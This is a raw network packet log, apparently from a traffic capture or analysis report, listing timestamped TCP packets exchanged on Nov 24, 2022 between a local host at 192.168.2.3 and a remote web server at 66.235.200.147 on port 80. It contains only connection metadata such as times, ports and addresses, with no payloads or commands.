Nov 24, 2022 16:57:36.719830990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719835043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719856977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719861031 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719885111 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719887018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719912052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719912052 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719933033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719938993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719959021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.719965935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719991922 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.719990969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720016003 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720017910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720042944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720045090 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720069885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720071077 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720094919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720098972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720123053 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720124960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720150948 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720150948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720172882 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720179081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720197916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720206022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720225096 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720232010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720257998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720267057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720285892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720292091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720313072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720314026 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720333099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720341921 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720357895 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720367908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720391989 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720395088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720416069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720427036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720443964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720470905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720489025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720523119 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720541000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720557928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720580101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720591068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720607042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720627069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720643044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720662117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720685959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720695972 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720707893 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720736027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720748901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720771074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720791101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720808029 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720828056 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720844984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720875978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720890999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720890999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720911026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720921040 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720941067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720963955 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720966101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.720987082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.720993042 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721019030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721019983 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721040010 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721045971 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721065998 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721072912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721092939 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721102953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721129894 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721134901 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721158981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721165895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721174002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721205950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721221924 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721240044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721257925 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721272945 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721286058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721311092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721324921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721348047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721363068 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721385002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721401930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721416950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721441031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721446037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721467972 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721471071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721496105 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721514940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721530914 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721532106 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721544981 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721558094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721575022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721585035 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721601009 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721621990 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721626043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721657038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721664906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721692085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721704006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721729994 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721734047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721765041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721780062 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721792936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721808910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721818924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721834898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721846104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721862078 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721872091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721889019 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721898079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721913099 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721941948 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.721966028 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.721992016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722008944 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722017050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722028971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722042084 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722059011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722068071 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722084999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722098112 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722110033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722124100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722141027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722148895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722165108 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722176075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722192049 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722203016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722229004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722234964 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722249985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722265005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722271919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722301006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722311020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722336054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722346067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722368956 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722378969 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722402096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722414970 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722429037 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722445011 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722455025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722472906 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722482920 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722497940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722508907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722526073 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722534895 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722551107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722559929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722579002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722585917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722604036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722611904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722628117 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722637892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722655058 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722666025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722681999 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722692013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722707987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722718000 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722734928 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722744942 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722755909 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722769976 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722784042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722795010 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722815990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722821951 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722834110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722847939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722868919 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722888947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722893000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722917080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722938061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722943068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722955942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722969055 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.722986937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.722995043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723011017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723021984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723036051 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723048925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723063946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723073959 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723090887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723100901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723114967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723126888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723144054 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723153114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723166943 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723179102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723195076 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723203897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723227024 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723231077 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723256111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723259926 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723282099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723287106 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723299980 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723308086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723330021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723336935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723347902 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723378897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723690033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723716021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723740101 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723743916 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723758936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723766088 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723783016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723792076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723809958 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723818064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723835945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723844051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723862886 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723870039 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723887920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723895073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723912954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723920107 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723942995 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723947048 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723962069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723973036 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.723992109 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.723999023 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724024057 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724024057 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724040985 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724049091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724072933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724077940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724102020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724112034 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724137068 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724138975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724153042 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724162102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724186897 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724195957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724210978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724235058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724260092 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724276066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724276066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724287033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724292994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724292994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724313021 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724313021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724337101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724340916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724356890 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724366903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724391937 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724391937 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724417925 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724419117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724431992 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724446058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724462986 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724472046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724488020 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724498987 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724517107 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724524975 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724540949 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724550009 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724569082 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724575996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724594116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724601030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724620104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724627018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724643946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724652052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724672079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724678993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724694967 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724704981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724723101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724730015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724750996 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.724756956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724792957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.724792957 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.740833044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.740961075 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741607904 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.741655111 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.741695881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.741698027 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741715908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741738081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.741740942 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741780043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.741787910 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741821051 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.741825104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741863012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.741866112 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.741909981 CET	80	49713	66.235.200.147	192.168.2.3
